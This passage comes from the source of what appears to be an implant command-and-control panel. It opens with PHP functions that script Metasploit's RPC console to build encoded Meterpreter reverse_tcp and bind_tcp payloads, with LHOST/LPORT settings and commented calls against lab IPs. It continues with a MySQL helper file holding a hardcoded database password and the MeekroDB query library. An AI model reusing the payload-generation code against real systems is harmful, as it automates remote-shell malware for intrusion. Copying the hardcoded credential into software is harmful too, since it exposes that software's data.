"); 152 | 153 | $msgpack_data = msgpack_pack($client_request); 154 | 155 | $url = "http://".$ip.":55552/api/1.0"; 156 | $port = 55552; 157 | $httpheader = array("Host: RPC Server", "Content-Length: ".strlen($msgpack_data), "Content-Type: binary/message-pack"); 158 | $postfields = $msgpack_data; 159 | $return_array = curl_post($url, $port, $httpheader, $postfields); 160 | 161 | $msgunpack_data = msgpack_unpack($return_array['FILE']); 162 | 163 | //debug("END Function msf_cmd()
"); 164 | return $msgunpack_data; 165 | } 166 | 167 | // ************ msf_console() ************ // 168 | function msf_console($ip, $token, $console_id, $cmd) 169 | { 170 | //debug("START Function msf_console()
"); 171 | 172 | //debug('$cmd: ' . $cmd . "
"); 173 | 174 | $client_request = array("console.write", $token, $console_id, $cmd . "\n"); 175 | $server_write_response = msf_cmd($ip, $client_request); 176 | 177 | //debug('$server_write_response: '); 178 | //debug_r($server_write_response); 179 | //debug('
'); 180 | 181 | //debug('$server_write_response["wrote"]: ' . $server_write_response["wrote"] . "
"); 182 | 183 | do 184 | { 185 | //debug('start do while
'); 186 | 187 | $client_request = array("console.read", $token, $console_id); 188 | $server_read_response = msf_cmd($ip, $client_request); 189 | 190 | //debug('$server_read_response: '); 191 | //debug_r($server_read_response); 192 | //debug('
'); 193 | 194 | //print $server_read_response["data"] . "
"; 195 | //debug('$server_read_response["data"]: ' . $server_read_response["data"] . "
"); 196 | //debug('$server_read_response["prompt"]: ' . $server_read_response["prompt"] . "
"); 197 | //debug('$server_read_response["busy"]: ' . $server_read_response["busy"] . "
"); 198 | 199 | //debug('end do while
'); 200 | } while($server_read_response["busy"] == 1); 201 | 202 | //debug("END Function msf_console()
"); 203 | return $server_read_response; 204 | } 205 | 206 | // ************ msf_execute() ************ // 207 | function msf_execute($ip, $token, $cmd) 208 | { 209 | $client_request = array("console.execute", $token, $console_id, $cmd . "\n"); 210 | $server_write_response = msf_cmd($ip, $client_request); 211 | } 212 | 213 | 214 | function use_payload($ek_ip, $ek_un, $ek_pw, $msf_payload, $msf_type, $msf_rhost, $msf_rport, $msf_lhost, $msf_lport, $msf_encoder, $file_name) 215 | { 216 | $token = msf_auth($ek_ip, $ek_un, $ek_pw); 217 | 218 | $client_request = array("core.version", $token); 219 | $server_response = msf_cmd($ek_ip, $client_request); 220 | 221 | $client_request = array("console.create", $token); 222 | $server_response = msf_cmd($ek_ip, $client_request); 223 | $console_id_one = $server_response["id"]; 224 | 225 | $server_response = msf_console($ek_ip, $token, $console_id_one, "use " . $msf_payload); 226 | //debug("msf_payload: " . $msf_payload . "
"); 227 | 228 | $server_response = msf_console($ek_ip, $token, $console_id_one, "set LHOST " . $msf_lhost); 229 | 230 | $server_response = msf_console($ek_ip, $token, $console_id_one, "set RHOST " . $msf_rhost); 231 | 232 | $server_response = msf_console($ek_ip, $token, $console_id_one, "set RPORT " . $msf_rport); 233 | 234 | $server_response = msf_console($ek_ip, $token, $console_id_one, "set LPORT " . $msf_lport); 235 | 236 | $server_response = msf_console($ek_ip, $token, $console_id_one, "set EXITFUNC thread"); 237 | 238 | if($msf_type == "raw") 239 | { 240 | $tmp_file = "/tmp/" . (string)time(); 241 | $generated_payload = "generate -t " . $msf_type . " -f " . $tmp_file . " -b \\x00 -e " . $msf_encoder; 242 | //print $generated_payload; 243 | $server_response = msf_console($ek_ip, $token, $console_id_one, $generated_payload); 244 | sleep(1); 245 | $server_response = msf_console($ek_ip, $token, $console_id_one, "cat " . $tmp_file . " | base64 -w 0 > " . $file_name); 246 | sleep(1); 247 | $server_response = msf_console($ek_ip, $token, $console_id_one, "rm " . $tmp_file); 248 | } 249 | else 250 | { 251 | $server_response = msf_console($ek_ip, $token, $console_id_one, "generate -t " . $msf_type . " -f " . $file_name . " -b \\x00 -e " . $msf_encoder); 252 | } 253 | 254 | $fs = filesize($file_name); 255 | 256 | if($fs == 0) return false; 257 | else return true; 258 | 259 | //return $server_response; 260 | 261 | } 262 | 263 | //$file1 = $OUTPUTDIR . "test1.html"; 264 | //$file2 = $OUTPUTDIR . "test2.html"; 265 | 266 | //use_payload("192.168.20.133", "payload/windows/meterpreter/reverse_tcp", "raw", "", "", "192.168.20.104", "53", "x86/alpha_mixed", $file1); 267 | //use_payload("192.168.20.133", "payload/windows/meterpreter/bind_tcp", "raw", "0.0.0.0", "4444", "", "", "x86/alpha_mixed", $file2); 268 | 269 | 270 | 271 | ?> 272 | -------------------------------------------------------------------------------- /cp/includes/mysql.php: -------------------------------------------------------------------------------- 1 | . 17 | */ 18 | 19 | 20 | class DB { 21 | // initial connection 22 | public static $dbName = 'throwbackcp'; 23 | public static $user = 'tblp'; 24 | public static $password = 'ThrowbackPwnage!@#'; 25 | public static $host = '127.0.0.1'; 26 | public static $port = null; 27 | public static $encoding = 'latin1'; 28 | 29 | // configure workings 30 | public static $queryMode = 'queryAllRows'; 31 | public static $param_char = '%'; 32 | public static $named_param_seperator = '_'; 33 | public static $success_handler = false; 34 | public static $error_handler = true; 35 | public static $throw_exception_on_error = false; 36 | public static $nonsql_error_handler = null; 37 | public static $throw_exception_on_nonsql_error = false; 38 | public static $nested_transactions = false; 39 | 40 | // internal 41 | protected static $mdb = null; 42 | 43 | public static function getMDB() { 44 | $mdb = DB::$mdb; 45 | 46 | if ($mdb === null) { 47 | $mdb = DB::$mdb = new MeekroDB(); 48 | } 49 | 50 | if ($mdb->queryMode !== DB::$queryMode) $mdb->queryMode = DB::$queryMode; 51 | if ($mdb->param_char !== DB::$param_char) $mdb->param_char = DB::$param_char; 52 | if ($mdb->named_param_seperator !== DB::$named_param_seperator) $mdb->named_param_seperator = DB::$named_param_seperator; 53 | if ($mdb->success_handler !== DB::$success_handler) $mdb->success_handler = DB::$success_handler; 54 | if ($mdb->error_handler !== DB::$error_handler) $mdb->error_handler = DB::$error_handler; 55 | if ($mdb->throw_exception_on_error !== DB::$throw_exception_on_error) $mdb->throw_exception_on_error = DB::$throw_exception_on_error; 56 | if ($mdb->nonsql_error_handler !== DB::$nonsql_error_handler) $mdb->nonsql_error_handler = DB::$nonsql_error_handler; 57 | if ($mdb->throw_exception_on_nonsql_error !== DB::$throw_exception_on_nonsql_error) $mdb->throw_exception_on_nonsql_error = DB::$throw_exception_on_nonsql_error; 58 | if ($mdb->nested_transactions !== DB::$nested_transactions) $mdb->nested_transactions = DB::$nested_transactions; 59 | 60 | return $mdb; 61 | } 62 | 63 | public static function get() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'get'), $args); } 64 | public static function query() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'query'), $args); } 65 | public static function quickPrepare() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'quickPrepare'), $args); } 66 | public static function queryFirstRow() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'queryFirstRow'), $args); } 67 | public static function queryOneRow() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'queryOneRow'), $args); } 68 | public static function queryFirstList() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'queryFirstList'), $args); } 69 | public static function queryOneList() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'queryOneList'), $args); } 70 | public static function queryFirstColumn() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'queryFirstColumn'), $args); } 71 | public static function queryOneColumn() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'queryOneColumn'), $args); } 72 | public static function queryFirstField() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'queryFirstField'), $args); } 73 | public static function queryOneField() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'queryOneField'), $args); } 74 | public static function queryRaw() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'queryRaw'), $args); } 75 | public static function queryNull() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'queryNull'), $args); } 76 | public static function queryBuf() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'queryBuf'), $args); } 77 | public static function queryUnbuf() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'queryUnbuf'), $args); } 78 | 79 | public static function insert() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'insert'), $args); } 80 | public static function insertIgnore() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'insertIgnore'), $args); } 81 | public static function insertUpdate() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'insertUpdate'), $args); } 82 | public static function replace() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'replace'), $args); } 83 | public static function update() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'update'), $args); } 84 | public static function delete() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'delete'), $args); } 85 | 86 | public static function insertId() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'insertId'), $args); } 87 | public static function count() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'count'), $args); } 88 | public static function affectedRows() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'affectedRows'), $args); } 89 | 90 | public static function useDB() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'useDB'), $args); } 91 | public static function startTransaction() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'startTransaction'), $args); } 92 | public static function commit() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'commit'), $args); } 93 | public static function rollback() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'rollback'), $args); } 94 | public static function tableList() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'tableList'), $args); } 95 | public static function columnList() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'columnList'), $args); } 96 | 97 | public static function sqlEval() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'sqlEval'), $args); } 98 | public static function nonSQLError() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'nonSQLError'), $args); } 99 | 100 | public static function serverVersion() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'serverVersion'), $args); } 101 | public static function transactionDepth() { $args = func_get_args(); return call_user_func_array(array(DB::getMDB(), 'transactionDepth'), $args); } 102 | 103 | 104 | public static function debugMode($handler = true) { 105 | DB::$success_handler = $handler; 106 | } 107 | 108 | } 109 | 110 | 111 | class MeekroDB { 112 | // initial connection 113 | public $dbName = ''; 114 | public $user = ''; 115 | public $password = ''; 116 | public $host = 'localhost'; 117 | public $port = null; 118 | public $encoding = 'latin1'; 119 | 120 | // configure workings 121 | public $queryMode = 'queryAllRows'; 122 | public $param_char = '%'; 123 | public $named_param_seperator = '_'; 124 | public $success_handler = false; 125 | public $error_handler = true; 126 | public $throw_exception_on_error = false; 127 | public $nonsql_error_handler = null; 128 | public $throw_exception_on_nonsql_error = false; 129 | public $nested_transactions = false; 130 | 131 | // internal 132 | public $internal_mysql = null; 133 | public $server_info = null; 134 | public $insert_id = 0; 135 | public $num_rows = 0; 136 | public $affected_rows = 0; 137 | public $queryResult = null; 138 | public $queryResultType = null; 139 | public $old_db = null; 140 | public $current_db = null; 141 | public $nested_transactions_count = 0; 142 | 143 | 144 | public function __construct($host=null, $user=null, $password=null, $dbName=null, $port=null, $encoding=null) { 145 | if ($host === null) $host = DB::$host; 146 | if ($user === null) $user = DB::$user; 147 | if ($password === null) $password = DB::$password; 148 | if ($dbName === null) $dbName = DB::$dbName; 149 | if ($port === null) $port = DB::$port; 150 | if ($encoding === null) $encoding = DB::$encoding; 151 | 152 | $this->host = $host; 153 | $this->user = $user; 154 | $this->password = $password; 155 | $this->dbName = $dbName; 156 | $this->port = $port; 157 | $this->encoding = $encoding; 158 | } 159 | 160 | public function get() { 161 | $mysql = $this->internal_mysql; 162 | 163 | if ($mysql == null) { 164 | if (! $this->port) $this->port = ini_get('mysqli.default_port'); 165 | $this->current_db = $this->dbName; 166 | $mysql = new mysqli($this->host, $this->user, $this->password, $this->dbName, $this->port); 167 | 168 | if ($mysql->connect_error) { 169 | $this->nonSQLError('Unable to connect to MySQL server! Error: ' . $mysql->connect_error); 170 | } 171 | 172 | $mysql->set_charset($this->encoding); 173 | $this->internal_mysql = $mysql; 174 | $this->server_info = $mysql->server_info; 175 | } 176 | 177 | return $mysql; 178 | } 179 | 180 | public function nonSQLError($message) { 181 | if ($this->throw_exception_on_nonsql_error) { 182 | $e = new MeekroDBException($message); 183 | throw $e; 184 | } 185 | 186 | $error_handler = is_callable($this->nonsql_error_handler) ? $this->nonsql_error_handler : 'meekrodb_error_handler'; 187 | 188 | call_user_func($error_handler, array( 189 | 'type' => 'nonsql', 190 | 'error' => $message 191 | )); 192 | } 193 | 194 | public function debugMode($handler = true) { 195 | $this->success_handler = $handler; 196 | } 197 | 198 | public function serverVersion() { return $this->server_info; } 199 | public function transactionDepth() { return $this->nested_transactions_count; } 200 | public function insertId() { return $this->insert_id; } 201 | public function affectedRows() { return $this->affected_rows; } 202 | public function count() { $args = func_get_args(); return call_user_func_array(array($this, 'numRows'), $args); } 203 | public function numRows() { return $this->num_rows; } 204 | 205 | public function useDB() { $args = func_get_args(); return call_user_func_array(array($this, 'setDB'), $args); } 206 | public function setDB($dbName) { 207 | $db = $this->get(); 208 | $this->old_db = $this->current_db; 209 | if (! $db->select_db($dbName)) $this->nonSQLError("Unable to set database to $dbName"); 210 | $this->current_db = $dbName; 211 | } 212 | 213 | 214 | public function startTransaction() { 215 | if ($this->nested_transactions && $this->serverVersion() < '5.5') { 216 | return $this->nonSQLError("Nested transactions are only available on MySQL 5.5 and greater. You are using MySQL " . $this->serverVersion()); 217 | } 218 | 219 | if (!$this->nested_transactions || $this->nested_transactions_count == 0) { 220 | $this->queryNull('START TRANSACTION'); 221 | $this->nested_transactions_count = 1; 222 | } else { 223 | $this->queryNull("SAVEPOINT LEVEL{$this->nested_transactions_count}"); 224 | $this->nested_transactions_count++; 225 | } 226 | 227 | return $this->nested_transactions_count; 228 | } 229 | 230 | public function commit($all=false) { 231 | if ($this->nested_transactions && $this->serverVersion() < '5.5') { 232 | return $this->nonSQLError("Nested transactions are only available on MySQL 5.5 and greater. You are using MySQL " . $this->serverVersion()); 233 | } 234 | 235 | if ($this->nested_transactions && $this->nested_transactions_count > 0) 236 | $this->nested_transactions_count--; 237 | 238 | if (!$this->nested_transactions || $all || $this->nested_transactions_count == 0) { 239 | $this->nested_transactions_count = 0; 240 | $this->queryNull('COMMIT'); 241 | } else { 242 | $this->queryNull("RELEASE SAVEPOINT LEVEL{$this->nested_transactions_count}"); 243 | } 244 | 245 | return $this->nested_transactions_count; 246 | } 247 | 248 | public function rollback($all=false) { 249 | if ($this->nested_transactions && $this->serverVersion() < '5.5') { 250 | return $this->nonSQLError("Nested transactions are only available on MySQL 5.5 and greater. You are using MySQL " . $this->serverVersion()); 251 | } 252 | 253 | if ($this->nested_transactions && $this->nested_transactions_count > 0) 254 | $this->nested_transactions_count--; 255 | 256 | if (!$this->nested_transactions || $all || $this->nested_transactions_count == 0) { 257 | $this->nested_transactions_count = 0; 258 | $this->queryNull('ROLLBACK'); 259 | } else { 260 | $this->queryNull("ROLLBACK TO SAVEPOINT LEVEL{$this->nested_transactions_count}"); 261 | } 262 | 263 | return $this->nested_transactions_count; 264 | } 265 | 266 | public function escape($str) { 267 | $db = $this->get(); 268 | return $db->real_escape_string($str); 269 | } 270 | 271 | public function sanitize($value) { 272 | if (is_object($value) && ($value instanceof MeekroDBEval)) { 273 | $value = $value->text; 274 | } else { 275 | if (is_array($value) || is_object($value)) $value = serialize($value); 276 | 277 | if (is_string($value)) $value = "'" . $this->escape($value) . "'"; 278 | else if (is_null($value)) $value = 'NULL'; 279 | else if (is_bool($value)) $value = ($value ? 1 : 0); 280 | } 281 | 282 | return $value; 283 | } 284 | 285 | protected function formatTableName($table) { 286 | $table = str_replace('`', '', $table); 287 | if (strpos($table, '.')) { 288 | list($table_db, $table_table) = explode('.', $table, 2); 289 | $table = "`$table_db`.`$table_table`"; 290 | } else { 291 | $table = "`$table`"; 292 | } 293 | 294 | return $table; 295 | } 296 | 297 | protected function prependCall($function, $args, $prepend) { 298 | array_unshift($args, $prepend); 299 | return call_user_func_array($function, $args); 300 | } 301 | 302 | protected function wrapStr($strOrArray, $wrapChar, $escape = false) { 303 | if (! is_array($strOrArray)) { 304 | if ($escape) return $wrapChar . $this->escape($strOrArray) . $wrapChar; 305 | else return $wrapChar . $strOrArray . $wrapChar; 306 | } else { 307 | $R = array(); 308 | foreach ($strOrArray as $element) { 309 | $R[] = $this->wrapStr($element, $wrapChar, $escape); 310 | } 311 | return $R; 312 | } 313 | 314 | } 315 | 316 | public function freeResult($result) { 317 | if (! ($result instanceof MySQLi_Result)) return; 318 | return $result->free(); 319 | } 320 | 321 | public function update() { 322 | $args = func_get_args(); 323 | $table = array_shift($args); 324 | $params = array_shift($args); 325 | $where = array_shift($args); 326 | $buildquery = "UPDATE " . self::formatTableName($table) . " SET "; 327 | $keyval = array(); 328 | foreach ($params as $key => $value) { 329 | $value = $this->sanitize($value); 330 | $keyval[] = "`" . $key . "`=" . $value; 331 | } 332 | 333 | $buildquery = "UPDATE " . self::formatTableName($table) . " SET " . implode(', ', $keyval) . " WHERE " . $where; 334 | array_unshift($args, $buildquery); 335 | call_user_func_array(array($this, 'queryNull'), $args); 336 | } 337 | 338 | public function insertOrReplace($which, $table, $datas, $options=array()) { 339 | $datas = unserialize(serialize($datas)); // break references within array 340 | $keys = null; 341 | 342 | if (isset($datas[0]) && is_array($datas[0])) { 343 | $many = true; 344 | } else { 345 | $datas = array($datas); 346 | $many = false; 347 | } 348 | 349 | foreach ($datas as $data) { 350 | if (! $keys) { 351 | $keys = array_keys($data); 352 | if ($many) sort($keys); 353 | } 354 | 355 | $insert_values = array(); 356 | 357 | foreach ($keys as $key) { 358 | if ($many && !array_key_exists($key, $data)) $this->nonSQLError('insert/replace many: each assoc array must have the same keys!'); 359 | $datum = $data[$key]; 360 | $datum = $this->sanitize($datum); 361 | $insert_values[] = $datum; 362 | } 363 | 364 | 365 | $values[] = '(' . implode(', ', $insert_values) . ')'; 366 | } 367 | 368 | $table = self::formatTableName($table); 369 | $keys_str = implode(', ', $this->wrapStr($keys, '`')); 370 | $values_str = implode(',', $values); 371 | 372 | if (isset($options['ignore']) && $options['ignore'] && strtolower($which) == 'insert') { 373 | $this->queryNull("INSERT IGNORE INTO $table ($keys_str) VALUES $values_str"); 374 | 375 | } else if (isset($options['update']) && $options['update'] && strtolower($which) == 'insert') { 376 | $this->queryNull("INSERT INTO $table ($keys_str) VALUES $values_str ON DUPLICATE KEY UPDATE {$options['update']}"); 377 | 378 | } else { 379 | $this->queryNull("$which INTO $table ($keys_str) VALUES $values_str"); 380 | } 381 | } 382 | 383 | public function insert($table, $data) { return $this->insertOrReplace('INSERT', $table, $data); } 384 | public function insertIgnore($table, $data) { return $this->insertOrReplace('INSERT', $table, $data, array('ignore' => true)); } 385 | public function replace($table, $data) { return $this->insertOrReplace('REPLACE', $table, $data); } 386 | 387 | public function insertUpdate() { 388 | $args = func_get_args(); 389 | $table = array_shift($args); 390 | $data = array_shift($args); 391 | 392 | if (! isset($args[0])) { // update will have all the data of the insert 393 | if (isset($data[0]) && is_array($data[0])) { //multiple insert rows specified -- failing! 394 | $this->nonSQLError("Badly formatted insertUpdate() query -- you didn't specify the update component!"); 395 | } 396 | 397 | $args[0] = $data; 398 | } 399 | 400 | if (is_array($args[0])) { 401 | $keyval = array(); 402 | foreach ($args[0] as $key => $value) { 403 | $value = $this->sanitize($value); 404 | $keyval[] = "`" . $key . "`=" . $value; 405 | } 406 | $updatestr = implode(', ', $keyval); 407 | 408 | } else { 409 | $updatestr = call_user_func_array(array($this, 'parseQueryParams'), $args); 410 | } 411 | 412 | return $this->insertOrReplace('INSERT', $table, $data, array('update' => $updatestr)); 413 | } 414 | 415 | public function delete() { 416 | $args = func_get_args(); 417 | $table = self::formatTableName(array_shift($args)); 418 | $where = array_shift($args); 419 | $buildquery = "DELETE FROM $table WHERE $where"; 420 | array_unshift($args, $buildquery); 421 | call_user_func_array(array($this, 'queryNull'), $args); 422 | } 423 | 424 | public function sqleval() { 425 | $args = func_get_args(); 426 | $text = call_user_func_array(array($this, 'parseQueryParams'), $args); 427 | return new MeekroDBEval($text); 428 | } 429 | 430 | public function columnList($table) { 431 | return $this->queryOneColumn('Field', "SHOW COLUMNS FROM $table"); 432 | } 433 | 434 | public function tableList($db = null) { 435 | if ($db) $this->useDB($db); 436 | $result = $this->queryFirstColumn('SHOW TABLES'); 437 | if ($db && $this->old_db) $this->useDB($this->old_db); 438 | return $result; 439 | } 440 | 441 | public function parseQueryParamsOld() { 442 | $args = func_get_args(); 443 | $sql = array_shift($args); 444 | $types = array_shift($args); 445 | $types = str_split($types); 446 | 447 | foreach ($args as $arg) { 448 | $type = array_shift($types); 449 | $pos = strpos($sql, '?'); 450 | if ($pos === false) $this->nonSQLError("Badly formatted SQL query: $sql"); 451 | 452 | if ($type == 's') $replacement = "'" . $this->escape($arg) . "'"; 453 | else if ($type == 'i') $replacement = intval($arg); 454 | else $this->nonSQLError("Badly formatted SQL query: $sql"); 455 | 456 | $sql = substr_replace($sql, $replacement, $pos, 1); 457 | } 458 | return $sql; 459 | } 460 | 461 | public function parseQueryParamsNew() { 462 | $args = func_get_args(); 463 | $sql = array_shift($args); 464 | $args_all = $args; 465 | $posList = array(); 466 | $pos_adj = 0; 467 | $param_char_length = strlen($this->param_char); 468 | $named_seperator_length = strlen($this->named_param_seperator); 469 | 470 | $types = array( 471 | $this->param_char . 'll', // list of literals 472 | $this->param_char . 'ls', // list of strings 473 | $this->param_char . 'l', // literal 474 | $this->param_char . 'li', // list of integers 475 | $this->param_char . 'ld', // list of decimals 476 | $this->param_char . 'lb', // list of backticks 477 | $this->param_char . 's', // string 478 | $this->param_char . 'i', // integer 479 | $this->param_char . 'd', // double / decimal 480 | $this->param_char . 'b', // backtick 481 | $this->param_char . 'ss' // search string (like string, surrounded with %'s) 482 | ); 483 | 484 | foreach ($types as $type) { 485 | $lastPos = 0; 486 | while (($pos = strpos($sql, $type, $lastPos)) !== false) { 487 | $lastPos = $pos + 1; 488 | if (isset($posList[$pos]) && strlen($posList[$pos]) > strlen($type)) continue; 489 | $posList[$pos] = $type; 490 | } 491 | } 492 | 493 | ksort($posList); 494 | 495 | foreach ($posList as $pos => $type) { 496 | $type = substr($type, $param_char_length); 497 | $length_type = strlen($type) + $param_char_length; 498 | 499 | $new_pos = $pos + $pos_adj; 500 | $new_pos_back = $new_pos + $length_type; 501 | 502 | if ($arg_number_length = strspn($sql, '0123456789', $new_pos_back)) { 503 | $arg_number = substr($sql, $new_pos_back, $arg_number_length); 504 | if (! isset($args_all[$arg_number])) $this->nonSQLError("Non existent argument reference (arg $arg_number): $sql"); 505 | 506 | $arg = $args_all[$arg_number]; 507 | 508 | } else if (substr($sql, $new_pos_back, $named_seperator_length) == $this->named_param_seperator) { 509 | $arg_number_length = strspn($sql, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_', 510 | $new_pos_back + $named_seperator_length) + $named_seperator_length; 511 | 512 | $arg_number = substr($sql, $new_pos_back + $named_seperator_length, $arg_number_length - $named_seperator_length); 513 | if (count($args_all) != 1) $this->nonSQLError("If you use named parameters, the second argument must be an array of parameters"); 514 | if (! isset($args_all[0][$arg_number])) $this->nonSQLError("Non existent argument reference (arg $arg_number): $sql"); 515 | 516 | $arg = $args_all[0][$arg_number]; 517 | 518 | } else { 519 | $arg_number = 0; 520 | $arg = array_shift($args); 521 | } 522 | 523 | if (in_array($type, array('s', 'i', 'd', 'b', 'l'))) { 524 | $array_type = false; 525 | $arg = array($arg); 526 | $type = 'l' . $type; 527 | } else if ($type == 'ss') { 528 | $result = "'%" . $this->escape(str_replace(array('%', '_'), array('\%', '\_'), $arg)) . "%'"; 529 | } else { 530 | $array_type = true; 531 | if (! is_array($arg)) $this->nonSQLError("Badly formatted SQL query: $sql -- expecting array, but didn't get one!"); 532 | } 533 | 534 | if ($type == 'ls') $result = $this->wrapStr($arg, "'", true); 535 | else if ($type == 'li') $result = array_map('intval', $arg); 536 | else if ($type == 'ld') $result = array_map('floatval', $arg); 537 | else if ($type == 'lb') $result = array_map(array($this, 'formatTableName'), $arg); 538 | else if ($type == 'll') $result = $arg; 539 | else if (! $result) $this->nonSQLError("Badly formatted SQL query: $sql"); 540 | 541 | if (is_array($result)) { 542 | if (! $array_type) $result = $result[0]; 543 | else $result = '(' . implode(',', $result) . ')'; 544 | } 545 | 546 | $sql = substr_replace($sql, $result, $new_pos, $length_type + $arg_number_length); 547 | $pos_adj += strlen($result) - ($length_type + $arg_number_length); 548 | } 549 | return $sql; 550 | } 551 | 552 | public function parseQueryParams() { 553 | $args = func_get_args(); 554 | if (count($args) < 2) return $args[0]; 555 | 556 | if (is_string($args[1]) && preg_match('/^[is]+$/', $args[1]) && substr_count($args[0], '?') > 0) 557 | return call_user_func_array(array($this, 'parseQueryParamsOld'), $args); 558 | else 559 | return call_user_func_array(array($this, 'parseQueryParamsNew'), $args); 560 | } 561 | 562 | public function quickPrepare() { $args = func_get_args(); return call_user_func_array(array($this, 'query'), $args); } 563 | 564 | public function query() { 565 | $args = func_get_args(); 566 | if ($this->queryMode == 'buffered' || $this->queryMode == 'unbuffered') { 567 | return $this->prependCall(array($this, 'queryHelper'), $args, $this->queryMode); 568 | } else { 569 | return call_user_func_array(array($this, 'queryAllRows'), $args); 570 | } 571 | } 572 | 573 | public function queryNull() { $args = func_get_args(); return $this->prependCall(array($this, 'queryHelper'), $args, 'null'); } 574 | public function queryRaw() { $args = func_get_args(); return $this->prependCall(array($this, 'queryHelper'), $args, 'buffered'); } 575 | public function queryBuf() { $args = func_get_args(); return $this->prependCall(array($this, 'queryHelper'), $args, 'buffered'); } 576 | public function queryUnbuf() { $args = func_get_args(); return $this->prependCall(array($this, 'queryHelper'), $args, 'unbuffered'); } 577 | 578 | protected function queryHelper() { 579 | $args = func_get_args(); 580 | $type = array_shift($args); 581 | if ($type != 'buffered' && $type != 'unbuffered' && $type != 'null') { 582 | $this->nonSQLError('Error -- first argument to queryHelper must be buffered or unbuffered!'); 583 | } 584 | $is_buffered = ($type == 'buffered'); 585 | $is_null = ($type == 'null'); 586 | 587 | $sql = call_user_func_array(array($this, 'parseQueryParams'), $args); 588 | 589 | $db = $this->get(); 590 | 591 | if ($this->success_handler) $starttime = microtime(true); 592 | $result = $db->query($sql, $is_buffered ? MYSQLI_STORE_RESULT : MYSQLI_USE_RESULT); 593 | if ($this->success_handler) $runtime = microtime(true) - $starttime; 594 | 595 | if (!$sql || $error = $this->checkError()) { 596 | if ($this->error_handler) { 597 | $error_handler = is_callable($this->error_handler) ? $this->error_handler : 'meekrodb_error_handler'; 598 | 599 | call_user_func($error_handler, array( 600 | 'type' => 'sql', 601 | 'query' => $sql, 602 | 'error' => $error 603 | )); 604 | } 605 | 606 | if ($this->throw_exception_on_error) { 607 | $e = new MeekroDBException($error, $sql); 608 | throw $e; 609 | } 610 | } else if ($this->success_handler) { 611 | $runtime = sprintf('%f', $runtime * 1000); 612 | $success_handler = is_callable($this->success_handler) ? $this->success_handler : 'meekrodb_debugmode_handler'; 613 | 614 | call_user_func($success_handler, array( 615 | 'query' => $sql, 616 | 'runtime' => $runtime, 617 | 'affected' => $db->affected_rows 618 | )); 619 | } 620 | 621 | $this->queryResult = $result; 622 | $this->queryResultType = $type; 623 | $this->insert_id = $db->insert_id; 624 | $this->affected_rows = $db->affected_rows; 625 | 626 | if ($is_buffered) $this->num_rows = $result->num_rows; 627 | else $this->num_rows = null; 628 | 629 | if ($is_null) { 630 | $this->freeResult($result); 631 | $this->queryResult = $this->queryResultType = null; 632 | return null; 633 | } 634 | 635 | return $result; 636 | } 637 | 638 | public function queryAllRows() { 639 | $args = func_get_args(); 640 | 641 | $query = call_user_func_array(array($this, 'queryUnbuf'), $args); 642 | $result = $this->fetchAllRows($query); 643 | $this->freeResult($query); 644 | $this->num_rows = count($result); 645 | 646 | return $result; 647 | } 648 | 649 | public function queryAllArrays() { 650 | $args = func_get_args(); 651 | 652 | $query = call_user_func_array(array($this, 'queryUnbuf'), $args); 653 | $result = $this->fetchAllArrays($query); 654 | $this->freeResult($query); 655 | $this->num_rows = count($result); 656 | 657 | return $result; 658 | } 659 | 660 | public function queryOneList() { $args = func_get_args(); return call_user_func_array(array($this, 'queryFirstList'), $args); } 661 | public function queryFirstList() { 662 | $args = func_get_args(); 663 | $query = call_user_func_array(array($this, 'queryUnbuf'), $args); 664 | $result = $this->fetchArray($query); 665 | $this->freeResult($query); 666 | return $result; 667 | } 668 | 669 | public function queryOneRow() { $args = func_get_args(); return call_user_func_array(array($this, 'queryFirstRow'), $args); } 670 | public function queryFirstRow() { 671 | $args = func_get_args(); 672 | $query = call_user_func_array(array($this, 'queryUnbuf'), $args); 673 | $result = $this->fetchRow($query); 674 | $this->freeResult($query); 675 | return $result; 676 | } 677 | 678 | 679 | public function queryFirstColumn() { 680 | $args = func_get_args(); 681 | $results = call_user_func_array(array($this, 'queryAllArrays'), $args); 682 | $ret = array(); 683 | 684 | if (!count($results) || !count($results[0])) return $ret; 685 | 686 | foreach ($results as $row) { 687 | $ret[] = $row[0]; 688 | } 689 | 690 | return $ret; 691 | } 692 | 693 | public function queryOneColumn() { 694 | $args = func_get_args(); 695 | $column = array_shift($args); 696 | $results = call_user_func_array(array($this, 'queryAllRows'), $args); 697 | $ret = array(); 698 | 699 | if (!count($results) || !count($results[0])) return $ret; 700 | if ($column === null) { 701 | $keys = array_keys($results[0]); 702 | $column = $keys[0]; 703 | } 704 | 705 | foreach ($results as $row) { 706 | $ret[] = 